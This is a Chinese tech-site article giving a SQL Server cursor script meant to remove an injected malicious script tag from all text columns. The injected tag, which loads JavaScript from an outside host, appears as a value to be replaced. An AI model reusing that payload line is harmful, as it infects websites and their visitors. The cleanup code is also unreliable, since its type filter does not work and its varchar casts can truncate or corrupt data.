清除SQL被注入恶意病毒代码的语句

数据库
SQL是结构化查询语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。同时也是数据库脚本文件的扩展名。下文中将为大家介绍清除SQL被注入恶意病毒代码的语句的方法。

导读:SQL查询过程中难免会被一些恶意病毒入侵,这些恶意病毒对数据库程序是存在威胁的,所以我们要将恶意病毒给清除掉,以保证SQL查询的正常进行。

在SQL查询分析器执行以下代码就可以了。

 

01.declare @t varchar(255),@c varchar(255)

02.declare table_cursor cursor for select a.name,b.name

03.from sysobjects a,syscolumns b ,systypes c

04.where a.id=b.id and a.xtype='u' and c.name

05.in ('char', 'nchar', 'nvarchar', 'varchar','text','ntext')

06.declare @str varchar(500),@str2 varchar(500)

07.set @str='<script src=http://r01.3322.org/c.js></script>'/*要替换的内容*/

08.set @str2=''

09.open table_cursor

10.fetch next from table_cursor

11.into @t,@c while(@@fetch_status=0)

12.begin exec('update [' + @t + '] set [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''+ @str2 +''')')

13.fetch next from table_cursor 14.into @t,@c end close table_cursor deallocate table_cursor;
 

上文中主要是介绍了清除SQL被注入恶意病毒的代码方法,看着全是代码,可能不是很容易理解,大家要好好研究研究,希望对大家能够有所帮助。

【编辑推荐】

  1. 教你如何利用SQL Server保护数据
  2. SQL触发器在保持数据库完整性中的实际应用
  3. 精简语句吧,让你的MySQL更有效
责任编辑:迎迎 来源: 中国站长站综合
相关推荐

2010-09-03 12:01:17

SQL删除

2011-09-27 09:39:22

2022-01-18 10:27:05

开源FakerNode.js工具库

2010-09-27 11:17:31

2010-10-08 13:56:32

2019-05-27 11:13:07

2009-08-16 20:57:47

2014-06-03 17:46:39

2012-05-06 15:25:31

2014-02-12 14:12:29

2011-03-18 09:40:50

2010-10-09 17:11:16

病毒分析

2011-03-28 14:29:32

2013-03-08 09:45:19

2009-07-02 10:16:34

北京外国语大学恶意代码黑客

2023-06-14 16:29:51

2010-09-09 13:28:39

2022-05-30 09:49:51

Windows恶意软件浏览器

2010-09-10 15:06:27

病毒进程

2010-10-09 16:12:37

点赞
收藏

51CTO技术栈公众号